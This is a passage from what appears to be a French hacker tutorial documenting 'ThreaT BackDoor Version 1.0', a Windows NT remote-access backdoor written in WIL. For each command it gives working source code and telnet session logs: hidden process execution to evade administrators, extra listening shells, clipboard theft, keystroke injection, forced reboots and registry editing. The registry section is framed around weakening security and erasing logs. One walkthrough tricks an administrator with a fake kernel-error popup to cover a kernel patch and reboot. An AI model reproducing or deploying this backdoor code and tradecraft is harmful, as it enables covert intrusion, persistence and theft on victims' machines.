1 ;<-- si reussi ssendline (connexion, "%@crlf%Réponse de %param2% OK!%@crlf%") ssendstring (connexion,"%@crlf%Resolution du Nom IP : ") b=wXaddr2host ("%param2%") ;<-- tente de resoudre le nom IP ssendline (connexion,b) ssendstring (connexion,"%@crlf%Resolution de l'Addresse IP : ") b=wxhost2addr ("%param2%"); <-- ainsi que l'adresse IP ssendline (connexion,b) else ssendline (connexion,"%@crlf%Aucune reponse de %param2% %@crlf%") endif endif ----------------[ End of Code]----------------- equivalance : spawn ping Attention, ne pas utiliser spawn avec la commande ping -t ______ | OPEN | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| La commande open est une commande très interessante, car celle si permet de mettre parallèlement plusieurs shells en ecoutes sur des ports differents. il est d'ailleur recommandé de toujours ouvrir un port de secours à l'aide de cette commande en cas de fausse manipulation. Bien maitriser la commande OPEN demande quelque rudiment en observation réseau sous NT. Pour cela, la commande spawn vas nous être d'une très grande utilitée. Demonstration @@@@@@@@@@@@@ tout d'abbors, je vais me connecter à la machine backdooré telnet srvtest 4251 Trying srvtest... Connected to srvtest. Escape charactere is '^]'. --------------------------- ThreaT BackDoor Version 1.0 --------------------------- Type HELP for commands C:\>open Syntaxe : open , ou N° de port est compris entre 1 et 65535 ce shell est actuellement actif sur le port : 4251 /* On observe qu'en appelant OPEN, celui ci nous dit sur quel port notre shell est en ecoute il nous est alors possible de mettre notre backdoor en ecoute sur un autre port, tout en gardant notre shell actuel actif. */ C:\>open 666 La demande d'ouverture du port 666 a bien été envoyée! /* voyons maintenant si la commande open a bien rempli sa fonction */ C:\>spawn netstat -an Connexions actives Proto Adresse locale Adresse extérieure Etat TCP 0.0.0.0:135 0.0.0.0:0 EN ECOUTE TCP 0.0.0.0:135 0.0.0.0:0 EN ECOUTE TCP 0.0.0.0:666 0.0.0.0:0 EN ECOUTE <-- impecable, notre demande est prise en compte TCP 0.0.0.0:1026 0.0.0.0:0 EN ECOUTE TCP 0.0.0.0:1028 0.0.0.0:0 EN ECOUTE TCP 0.0.0.0:1029 0.0.0.0:0 EN ECOUTE TCP 0.0.0.0:1033 0.0.0.0:0 EN ECOUTE TCP 0.0.0.0:1034 0.0.0.0:0 EN ECOUTE TCP 0.0.0.0:1347 0.0.0.0:0 EN ECOUTE TCP 0.0.0.0:4251 0.0.0.0:0 EN ECOUTE <-- 4251 est toujours en ecoute (pour le scripting) TCP 10.201.203.254:137 0.0.0.0:0 EN ECOUTE TCP 10.201.203.254:138 0.0.0.0:0 EN ECOUTE TCP 10.201.203.254:139 0.0.0.0:0 EN ECOUTE TCP 127.0.0.1:1025 0.0.0.0:0 EN ECOUTE TCP 127.0.0.1:1025 127.0.0.1:1026 ETABLIE TCP 127.0.0.1:1026 127.0.0.1:1025 ETABLIE TCP 127.0.0.1:1027 0.0.0.0:0 EN ECOUTE TCP 127.0.0.1:1027 127.0.0.1:1029 ETABLIE TCP 127.0.0.1:1029 127.0.0.1:1027 ETABLIE TCP 127.0.0.1:1032 0.0.0.0:0 EN ECOUTE TCP 127.0.0.1:1032 127.0.0.1:1034 ETABLIE TCP 127.0.0.1:1034 127.0.0.1:1032 ETABLIE TCP 127.0.0.1:1347 127.0.0.1:4251 ETABLIE TCP 127.0.0.1:1356 0.0.0.0:0 EN ECOUTE TCP 127.0.0.1:4251 127.0.0.1:1347 ETABLIE <-- sa, c'est ma connexion UDP 0.0.0.0:135 *:* UDP 10.201.203.254:137 *:* UDP 10.201.203.254:138 *:* /* donc, normalement, si je tente une connexion sur le port 666, un shell doit apparaitre */ telnet srvtest 666 Trying srvtest... Connected to srvtest. Escape charactere is '^]'. --------------------------- ThreaT BackDoor Version 1.0 --------------------------- Type HELP for commands C:\>exit Vous pouvez quitter la session... OK, tout ce passe bien, mais à quoi cela me sert t'il? l'ouverture de plusieurs ports vous est utile dans 4 cas : 1/ Inviter vos potes sur une becanne rooté ;) 2/ Avoir un shell de secours au cas ou le shell actif viendrait à keuter 3/ Pouvoir maintenir plusieurs actions en même temp 3/ Execution de script nous detaillerons cela dans les trucs et astuces. Pour l'instant, etudions un peut comment cette commande marche, pour mieux comprendre sa philosophie. -------------------[ Code ]-------------------- if !isdefined (param2) then param2 = "999999" if param2 > "65535" ssendline (connexion, "%@crlf%Syntaxe : open , ou N° de port est compris entre 1 et 65535%@crlf%%@crlf%ce shell est actuellement actif sur le port : %port%%@crlf%") else name=intcontrol (1004,0,0,0,0) ;<-- une variable est initialiser avec le nom de l'executable actif runhide (name,param2) ;<-- et la demande d'ouverture ce fait en appelant le programme avec un argument ssendline (connexion,"%@crlf%La demande d'ouverture du port %param2% a bien été envoyée!%@crlf%") endif ----------------[ End of Code]----------------- Ce qui veut dire que open vas retrouver le nom du programme appelant, et vas reexecuter celui ci en specifiant un argument. Donc, chaque port ouvert par open vas créé un nouveau processus de la backdoor, et donc consommer du temp CPU lors de l'utilisation (attention à ne pas ce connecter sur trop de port en même temp) __________ | DISKINFO | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| Commande super pratique, elle vous permet d'avoir un listing des lecteurs presents sur la machine cible et vous retourne si ce lecteur est un disque amovible, un disque dur local, un lecteur de cdrom ou une connexion réseau. un exemple vaut mieux qu'un long discours C:\>diskinfo --------------------------------------- A: Disque amovible --------------------------------------- C: Disque dur local D: Disque dur local F: Disque dur local G: Disque dur local --------------------------------------- E: Lecteur CDROM --------------------------------------- Y: Lecteur reseau Z: Lecteur reseau --------------------------------------- C:\> diskinfo permet ainsi d'avoir une idée sur la composition des lecteurs en cas de recherche de fichiers à l'aide de la commande 'spawn dir /s ' -------------------[ Code ]-------------------- trait=strcat (strfill ("-",39),@crlf) ddlocal=strcat (strreplace (diskscan(2),@tab,strcat (@tab,"Disque dur local",@crlf)),@tab,"Disque dur local", @crlf) ddamov=strcat (strreplace (diskscan(1),@tab,strcat (@tab,"Disque amovible",@crlf)),@tab,"Disque amovible",@crlf) cdrom=strcat (strreplace (diskscan(8),@tab,strcat (@tab,"Lecteur CDROM",@crlf)),@tab,"Lecteur CDROM",@crlf) network=strcat (strreplace (diskscan(4),@tab,strcat (@tab,"Lecteur reseau",@crlf)),@tab,"Lecteur reseau",@crlf) ssendline (connexion, strcat (trait,ddamov,trait,ddlocal,trait,cdrom,trait,network,trait)) ;la fonction disksan de wil est le noyau de cette fonction. ----------------[ End of Code]----------------- ______ | EXIT | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| Exit permet de sortir de la backdoor en gardant le port sur ecoute. il est imperatif d'utiliser exit avant de fermer votre fenêtre de commande si vous voulez sortir proprement, et pouvoir vous reconnecter plus tard. exemple : telnet srvtest 4251 Trying srvtest... Connected to srvtest. Escape charactere is '^]'. --------------------------- ThreaT BackDoor Version 1.0 --------------------------- Type HELP for commands C:\>exit Vous pouvez quitter la session... A ce moment la seulement, vous pouvez quitter, et eventuellement revenir plus tard vous connecter sur le même port. telnet srvtest 4251 Trying srvtest... Connected to srvtest. Escape charactere is '^]'. --------------------------- ThreaT BackDoor Version 1.0 --------------------------- Type HELP for commands C:\> grâce à exit, la backdoor est toujours active... _______ | BREAK | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| Break vous fait non seulement sortir de la backdoor, mais ferme le port sur lequel celui ci etait sur ecoute. exemple : telnet srvtest 4251 Trying srvtest... Connected to srvtest. Escape charactere is '^]'. --------------------------- ThreaT BackDoor Version 1.0 --------------------------- Type HELP for commands C:\>break Break de la connexion, Bye! Connection closed by foreign host. il vous est maintenant impossible de vous reconnecter sur ce port telnet srvtest 4251 Trying srvtest... telnet : Unable to connect to remote host : Connection refused #################################################### //////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\\ | __________________________________________________ | | 0100:0010 + Les commandes de manipulation du GUI | | | \\\\\\\\\\\\\\\\\\\\\\\\\\////////////////////////// #################################################### Voici les commandes aparenté a cette section : """""""""""""""""""""""""""""""""""""""""""""""" --> CLIP: Afficher le contenu du presse-papier --> WINACTIF : retroune la liste des fenetres active --> BIP: Emet un bip --> EXECUTE: execute une commande sur la machine distante --> EXECHIDE: Execute une commande furtive sur la machine distante --> SHUTDOWN: force le système à redémarrer --> MESSAGE: Affiche un popup sur la machne distante --> DISPLAY: Affiche un message pendent N secondes --> QUESTION: Poser une question a votre interlocuteur --> SENDKEY: Pour envoyer une chaine de caractere --> MOUSE: Pour faire bouger la souris ______ | CLIP | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| La commande clip vas vous afficher sur le terminal le contenu du presse papier de la machine backdooré. au cas ou qq1 aurait fait un copy/paste de quelque chose d'interressant ;) exemple : telnet srvtest 4251 Trying srvtest... Connected to srvtest. Escape charactere is '^]'. --------------------------- ThreaT BackDoor Version 1.0 --------------------------- Type HELP for commands C:\>clip blablablablabla C:\> __________ | WINACTIF | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| Winactif vous retourne la liste des processus actif distant. Ainsi, si vous avez backdooré un serveur NT grâce a un compte 'SYSTEM' et que la session est fermée, winactif ne retourneras aucun processus (à par celui de la backdoor) exemple : telnet srvtest 4251 Trying srvtest... Connected to srvtest. Escape charactere is '^]'. --------------------------- ThreaT BackDoor Version 1.0 --------------------------- Type HELP for commands C:\>open 1234 La demande d'ouverture du port 1234 a bien été envoyée! C:\>winactif WBT - readme.exe WBT - readme.exe C:\> On peut voir clairement par cet exemple que la commande open nous a créé un 2eme processus pour l'ouverture du port 1234 _____ | BIP | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| Emet un bip sur les hauts parleurs (this fonction is for fun) -------------------[ Code Pour CLIP, BIP & WINACTIF ]-------------------- if param1 == "clip" then ssendline (connexion, clipget ()) else if param1 == "winactif" then ssendline (connexion, strreplace (winitemize(),@tab,@crlf)) else if param1 == "bip" then beep ----------------------------[ End of Code]-------------------------------- _________ | EXECUTE | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| La commande 'execute' lance un processus visible sur la machine distante. Par exemple : C:\>execute notepad (vas vous ouvrir le bloc note) C:\>execute regedit (ouvre l'editeur de registre) vous pouvez aussi specifier à 'execute' un nom de fichier qui seras ouvert automatiquement par le programme approprié exemple : C:\>execute cv.doc (ouvre Word avec CV.DOC) C:\>execute test.mp3 (ouvre le lecteur MP3, et joue la musique test.mp3) C:\>execute iexplore http://www.chez.com/mvm (ouvre le browser, et vas sur le site indiqué) Il est biensur possible d'utiliser la commande execute de magnière plus complexe. Seulement celle si doit être structuré de la façon suivante : execute " " exemple : C:\>execute cmd "/c dir > c:\test.txt" Comme on peut le voir dans cet exemple, cette commande peut executer plusieur type d'executable, à condition que les arguments de ceux si soit balisés entre guillemets. __________ | EXECHIDE | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| Marche exactement comme la commande execute, la seul difference vient du faite que exechide vas executer votre commande tout en la CACHANT. par exemple C:\>exechide regedit ne vas pas ouvrir regedit, mais si vous regardez dans les processus actif, regedit a bien été activé. cette commande est pratique si vous vouler executer des programmes tel que 'NETCAT', ou 'CMD' sans que l'administrateur ne remarque votre presence. -------------------[ Code Pour EXECUTE & EXECHIDE ]-------------------- etat = "normal" if param1 == "exechide" then etat = "hidden" if !isdefined (param2) then param2 = "" if !isdefined (param3) then param3 = "" runshell (param2,param3,"",@%etat%,@nowait) ----------------------------[ End of Code]----------------------------- __________ | SHUTDOWN | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| Cette commande redémarre la machine distante, sans aucune demande de sauvegarde pour les operations en cours. C:\>shutdown Attention! La machine va redemarrer! est ce que vous etes sur de votre choix [Y/N] : y Le systeme distant reboot! Connection closed by foreign host. -------------------[ Code ]-------------------- ssendstring (connexion,"Attention! La machine va redemarrer!%@crlf%est ce que vous etes sur de votre choix [Y/N] : ") while @true choix=strlower (srecvline (connexion,2)) if wxGetLastErr() == @sok if choix == "y" ssendline (connexion,"%@crlf%Le systeme distant reboot!%@crlf%") sclose (mysocket) intcontrol (67,0,1,0,0) ;control d'interuption pour le reboot else ssendline (connexion, "%@crlf%Action abandonnée..%@crlf%") endif break endif endwhile ----------------[ End of Code]----------------- _________ | MESSAGE | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| Message La commande message envoie une petit msgbox à votre interlocuteur. le seul problème (qui peut être un avantage) avec cette fonction est que la backdoor ne vous rend pas la main tant que l'interlocuteur n'as pas cliquer sur OK. ceci peut parraitre genant, mais possède tout de même 2 avantages qui sont : - grâce à la commande OPEN, vous pouvez neutraliser un shell avec la commande message, et ainsi savoir quand votre interlocuteur vas vous repondre - Pendent tout le temp ou la backdoor ne vous rend pas la main, il vous est possible de taper des commandes qui seront traités l'une après l'autre, une fois que la personne auras cliqué sur OK. Imaginons le scenario suivant : Nous sommes en presence d'un serveur backdooré, et nous voulons patcher le ntoskernel de façon à ce que le serveur ne gère plus les restrictions. Pour un maximum de discretion, nous executerons le patch et rebooterons le serveur en faisant croire à l'adminisrateur que c'est lui qui a fait une connerie ;) voila comment nous allons proceder : telnet srvtest 4251 Trying srvtest... Connected to srvtest. Escape charactere is '^]'. --------------------------- ThreaT BackDoor Version 1.0 --------------------------- Type HELP for commands tout d'abbors, nous allons ouvrir un port de secours C:\>open 4252 La demande d'ouverture du port 4252 a bien été envoyée! C:\> nous allons maintenant envoyer une msgbox et taper les commandes qui nous interessent à la suite de celle ci. C:\>message ntoskernel! "une erreur est survenue dans le noyau." exechide c:\winnt\path.exe shutdown y Il ne nous reste plus qu'à attendre que notre administrateur clique sur OK. pendent ce temp, nous pouvons toujours exploiter la machine grâce au 2eme port que nous avont activé. telnet srvtest 4252 Trying srvtest... Connected to srvtest. Escape charactere is '^]'. --------------------------- ThreaT BackDoor Version 1.0 --------------------------- Type HELP for commands C:\>commande1 bla bla bla C:\>commande2 bla bla bla C:\>commande3 bla bla bla Connection closed by foreign host. Boom, notre shell a coupé, ce qui veut dire que notre administrateur a cliqué sur OK, si nous regardons dans le terminal depuis lequel nous avont mis en place notre script, voici ce que l'on peut voir --------------------------- ThreaT BackDoor Version 1.0 --------------------------- Type HELP for commands C:\>open 4252 La demande d'ouverture du port 4252 a bien été envoyée! C:\>message ntoskernel! "une erreur est survenue dans le noyau." exechide c:\winnt\path.exe shutdown y C:\>exechide c:\winnt\path.exe C:\>shutdown Attention! La machine va redemarrer! est ce que vous etes sur de votre choix [Y/N] : y Le systeme distant reboot! Connection closed by foreign host. toutes nos commandes on été executés l'une après l'autre dès la reprise de la backdoor (quand l'administrateur à cliquer sur OK) ce qui veut dire que nous avons put patcher notre kernel, et rebooter le serveur sans eveiller les soupsons! Car si le serveur avait rebooté tout seul, quelqu'un ce serais surement douté de quelque chose. -------------------[ Code ]-------------------- if !isdefined (param3) || !isdefined (param2) then ssendline (connexion,"%@crlf%Syntaxe: Message %@crlf%") else message (param2,param3) ----------------[ End of Code]----------------- _________ | DISPLAY | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| La commande display vas vous servir à afficher un message pendent quelques secondes. Cette commande a été mise en place au cas ou vous ne souhaiteriez pas attendre que l'administrateur ait cliqué sur OK pour pourvoir reprendre la main sur votre shell. Syntaxe : DISPLAY exemple : C:\>display 10 "avertissement à l'admin sys" "Je crois que tu es backdooré, @+" -------------------------------------------------------------------------- Veuillez patientez 10 secondes que votre message est fini de s'afficher... -------------------------------------------------------------------------- C:\> Je pense que vous avez du remarquez que chaque argument de la commande 'display', comme pour la commande 'message', doit être encadré de guillemets si ceux ci tiennent sur plusieurs mot. -------------------[ Code ]-------------------- if !isdefined (param4) ssendline (connexion,"%@crlf%Syntaxe : DISPLAY %@crlf%") break endif if !isnumber(param2) ssendline (connexion,"%@crlf%ATTENTION! Votre premier argument doit être un nombre!%@crlf%") break endif ssendline (connexion,strcat (strfill ("-",74),@crlf,"Veuillez patientez %param2% secondes que votre message est fini de s'afficher...",@crlf,strfill ("-",74),@crlf)) display (param2,param3,param4) ----------------[ End of Code]----------------- __________ | QUESTION | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| Question agit sur le GUI comme msgbox. C'est à dire qu'il vas falloir que vous attendiez que votre interlocuteur vous reponde avant de pouvoir reprendre la main sur le shell actif. Syntaxe: Question exemple : C:\>question bonjour "qui est tu?" Votre question à été envoyé attente de la reponse... Reponse de votre interlocuteur ------------------------------ Je suis M! ------------------------------ C:\> si la reponse de votre interlocuteur est 0, cela veut dire que celui ci a cliqué sur Cancel. Il vous est biensûr possible de tapez des commandes pendent le temp ou vous n'avez pas la main, comme dans la commande 'message', ce qui auras pour effet de toutes les executers une fois qu'on vous aura repondu. -------------------[ Code ]-------------------- if !isdefined (param2) || !isdefined (param3) ssendline (connexion, "%@crlf%Syntaxe: Question %@crlf%") else ssendline (connexion, "%@crlf%Votre question a été envoyée,%@crlf%attente de la reponse...") reponse=askline (param2,param3,"") :cancel ssendline (connexion, strcat ("%@crlf%Reponse de votre interlocuteur%@crlf%",strfill("-",30),@crlf,reponse,@crlf,strfill("-",30))) endif ----------------[ End of Code]----------------- _________ | SENDKEY | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| Cette commande est utilisé pour envoyer des touches à la fenetre active, comme si elles etaient tapés sur le clavier distant. tout caractères alphanumeriques, signe de ponctuation et d'autre symbole sont accepté par cette commande, et peuvent être envoyés simplement en specifiant la chaine en premier argument (donc, entre guillemet) si dessous voici les caractères speciaux qui doivent être balisés par des accolades, pour être envoyés correctement Touches SendKey equivalence ----------------------------------- ~ {~} ; Voici comment envoyer un ~ ! {!} ; Voici comment envoyer un ! ^ {^} ; Voici comment envoyer un ^ + {+} ; Voici comment envoyer un + { { { } ; Voici comment envoyer un { } { } } ; Voici comment envoyer un } Alt {ALT} Backspace {BACKSPACE} ou {BS} Clear {CLEAR} Ctrl-Break {CANCEL} Delete {DELETE} ou {DEL} Down Arrow {DOWN} End {END} Enter {ENTER} ou ~ Escape {ESCAPE} ou {ESC} de F1 à F16 {F1} à {F16} Help {HELP} Home {HOME} Insert {INSERT} ou {INS} Left Arrow {LEFT} Page Down {PGDN} Page Up {PGUP} Pause {PAUSE} Right Arrow {RIGHT} Space {SPACE} ou {SP} Tab {TAB} Up Arrow {UP} Touches SendKey equivalence --------------------------------------------------- 0 sur le pavé numerique {NUMPAD0} 1 sur le pavé numerique {NUMPAD1} 2 sur le pavé numerique {NUMPAD2} 3 sur le pavé numerique {NUMPAD3} 4 sur le pavé numerique {NUMPAD4} 5 sur le pavé numerique {NUMPAD5} 6 sur le pavé numerique {NUMPAD6} 7 sur le pavé numerique {NUMPAD7} 8 sur le pavé numerique {NUMPAD8} 9 sur le pavé numerique {NUMPAD9} * sur le pavé numerique {NUMPAD*} + sur le pavé numerique {NUMPAD+} - sur le pavé numerique {NUMPAD-} . sur le pavé numerique {NUMPAD.} / sur le pavé numerique {NUMPAD/} Enter sur le pavé numerique {NUMPAD~} il est aussi possible de faire des combinaisons à l'aide des touches suivantes : touches SendKey equivalence ----------------------------------- Alt ! Control ^ Shift + exemple : C:\>sendkey bonjour~ <-- (tape 'bonjour' puis retour chariot dans la fenêtre active) C:\>sendkey "salut les admins" <-- (tape la phrases decrite en argument) C:\>sendkey "!{F4}" <-- (pour envoyer ALT+F4) C:\>sendkey "^!{del}" <-- (pour envoyer CTRL+ALT+SUPPR) il est aussi possible de faire des repetitions grâce aux accolades exemple : C:\>sendkey "{a 10}" <-- (tape 10 fois la touche 'a') d'ailleur, un petit truc marrant consiste à envoyer beaucoup de touche ;) C:\>execute notepad ;ouvre le bloc note C:\>sendkey "{a 10000000}" <-- remplie le bloc note de 'a' et sature la memoire! toute fenêtre activé par la souris subiras alors le même sort -------------------[ Code ]-------------------- if !isdefined (param2) then ssendline (connexion,"%@crlf%Syntaxe: Sendkey %@crlf%") else sendkey (param2) ----------------[ End of Code]----------------- et oui, sendkey est une fonction implemanté dans WIL (elle est pas belle la vie?) _______ | MOUSE | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| Mouse est une commande qui non seulement peut vous permettre de deplacer le pointeur de souris n'importe ou sur l'ecran, mais aussi de vous afficher en temp reel pendent quelques secondes, l'etat des coordonnées de la souris distante. Syntaxe: Mouse "X Y", ex: mouse "300 500" Ne pas oublier les guillemets! 'Mouse coord' pour afficher les coordonnées de la souris distante en temp reel pendant 5 secondes. voici un ordre d'idée des coordonnées à utilisées pour 'mouse' "0 0" = coin superieur gauche de l'ecran "0 1000" = coin superieur droit de l'ecran "1000 0" = coin inferieur gauche de l'ecran "1000 1000" = coin infrieur droit de l'ecran "500 500" = point central de l'ecran la commande 'mouse coord' vous retourne les coordonnées distante en temp reel! c'est pratique pour savoir si une personne physique est devant la machine pour pouvoir etablir un dialogue. exemple : C:\>mouse coord Les coordonnées de la souris sont : 232 542 <-- les 2 n° bougent en temp reel si qq1 utilise la souris. C:\> -------------------[ Code ]-------------------- if !isdefined (param2) ssendline (connexion, strcat (@crlf,'Syntaxe: Mouse "X Y", ex: mouse "300 500"',"%@crlf%Ne pas oublier les guillemets!%@crlf%%@crlf%Taper 'Mouse coord' pour afficher les coordonnées de la souris distante%@crlf%en temp reel pendant 5 secondes.%@crlf%")) else if param2 == "coord" ssendstring (connexion,@crlf) for i = 1 to 10000 ssendstring (connexion,strcat ("Les coordonnées de la souris sont : ",mousecoords ("",""),@cr )) next ssendstring (connexion,@crlf) else mouseplay (param2,"","",0,2) endif endif ----------------[ End of Code]----------------- ############################################################# //////////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ | ___________________________________________________________ | | 0100:0010 + Les utilitaires (editeur de BDR et clients NOS) | | | \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\/////////////////////////////// ############################################################# Les utilitaires integrés à ThreaT Backdoor sont : A:\> REGEDIT B:\> FTP C:\> MAIL A:\> REGEDIT ou peut être : HKLM Pour HKEY_LOCAL_MACHINE HKCR Pour HKEY_CLASSES_ROOT HKUS Pour HKEY_USERS Comme vous pouvez le remarquer, regedit ne parcours pas la totalitée du registre mais l'ensemble d'une clé principale defini en premier argument. l'utilitaire comporte un jeu de commandes qui vous permettras de contrôler facilement cette partie du système, ce qui peut s'averer très avantageux pour certaines choses tel que : - Modification de configuration (ex: addresse IP, autologon, reparamètrage de soft,...) - Déstabilisation de sécurité (IPC share nul session, modification 'profil path', SECURITY\SAM,...) - Effacement des traces (des entrées de BDR 'RUN key', falsification des log path, desactivation des logs,...) - Connaitre le système (a qui?,dans quel boite?, quelles fonctions?,quels softs?,...) - Pousser votre imagination (exploit BDR, backdoor BDR, infos BDR,...) Voici un petit listing des commandes que nous allons detailler : =====> REGEDIT + +->LS : Lister les clés est les Valeurs +->CK : (Change Key) changer de clé +->VIEWVAL : Visualiser une valeur +->CREATEVAL : Créer une nouvelle valeur +->DELVAL : Supprimer une valeur +->MODIFVAL : Modifier ou assigner une donnée à une valeur +->CREATEKEY : Créer une clé de registre +->DELKEY : Effacer une clé de registre +->QUIT : Pour quitter regedit ____ | LS | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| LS liste les clés et les valeurs presentes dans la clé courante! exemple : C:\>regedit hklm #~HKEY_LOCAL_MACHINE>ls -------------------- HARDWARE SAM SECURITY SOFTWARE SYSTEM --------------------- #~HKEY_LOCAL_MACHINE> Le problème avec la commande LS est que celle ci ne prend pas en compte d'argument pour le listage d'une clé specifique. Vous êtes obligé de vous trouver dans la clé desiré pour pouvoir en extraire son contenu. -------------------[ Code ]-------------------- cle=RegQueryKeys(key) value=regqueryitem(regkey,"%strkey%") cle=StrReplace(cle,@tab,"%@tab%%@crlf%") value=StrReplace(value,@tab,"%@tab%%@crlf%") ssendline (connexion,strcat (strfill ("-",20),@crlf,cle,"%@tab%%@crlf%",value,"%@tab%%@crlf%",strfill ("-",20))) ----------------[ End of Code]----------------- ____ | CK | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| A l'instar de la commande CD (Change Directory), CK (Change Key) permet de naviguer dans les diferentes clé que comporte le registre. une retour à la clé parente s'effectue avec "ck .." C:\>regedit hklm #~HKEY_LOCAL_MACHINE>ck software #~HKEY_LOCAL_MACHINE\SOFTWARE\>ck .. #~HKEY_LOCAL_MACHINE\> Niveau code, non seulement CK change de clé, mais d'occupe aussi de la mise en forme du prompte. -------------------[ Code ]-------------------- if !isdefined (param2) then break oldstrkey=strkey if param2 == ".." then strkey=strsub (strkey,1,strscan(strkey,"\",strlen (strkey) - 1,@backscan)) else strkey=strcat (strkey,param2,"\") keyd=regopenkey (regkey,"%strkey%") ; chagne de clé if keyd != 0 regclosekey (key) regclosekey (keyd) key=regopenkey (regkey,"%strkey%") prpt=strcat ("%prptroot%\",strupper (strkey)) ; remet le promte a jour else ssendline (connexion,"Impossible de rentrer dans la clé specifiée") strkey=oldstrkey endif ----------------[ End of Code]----------------- _________ | VIEWVAL | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| La commande 'viewval' retourne les information concernant une valeur specifiée en premier argument, à savoir : - Le nom de la valeur - Le type de la valeur (REG_SZ,REG_EXPAND_SZ,REG_BINARY,...) - Les données que contiennent cette valeur exemple : C:\>regedit hklm #~HKEY_LOCAL_MACHINE>ck software\microsoft\windows\currentversion\run #~HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\>ls --------------------- Norton Program Scheduler Event Checker Systemlog --------------------- #~HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\>viewval systemlog NOM : SYSTEMLOG TYPE : REG_SZ DONNEES : D:\WINNT\SYSTEM32\SysLog.exe #~HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\> La commade peut s'averer pratique pour connaitre le type de donnée en cas de modification. -------------------[ Code ]-------------------- if !isdefined (param2) ssendline (connexion,"%@crlf%Syntaxe : VIEWVAL %@crlf%") else type=regentrytype (key,"[%param2%]") val=regqueryex (regkey,"%strkey%[%param2%]",@tab,type) if type != 0 if type == 1 then ktype = "REG_SZ" if type == 2 then ktype = "REG_EXPAND_SZ" if type == 3 then ktype = "REG_BINARY" if type == 4 then ktype = "REG_DWORD" if type == 5 then ktype = "REG_DWORD_BIG_ENDIAN" if type == 6 then ktype = "REG_LINK" if type == 7 then ktype = "REG_MULTI_SZ" if type == 8 then ktype = "REG_RESOURCE_LIST" if type == 9 then ktype = "REG_FULL_RESOURCE_DESCRIPTOR" if type == 10 then ktype = "REG_RESOURCE_REQUIREMENTS_LIST" ssendline (connexion,strcat ("%@crlf%NOM : ",strupper(param2),"%@crlf%TYPE : ",ktype,"%@crlf%DONNEES : ",val,"%@crlf%")) else ssendline (connexion,"%@crlf%Le nom de la valeur que vous avez fournie est incorrect!%@crlf%") endif 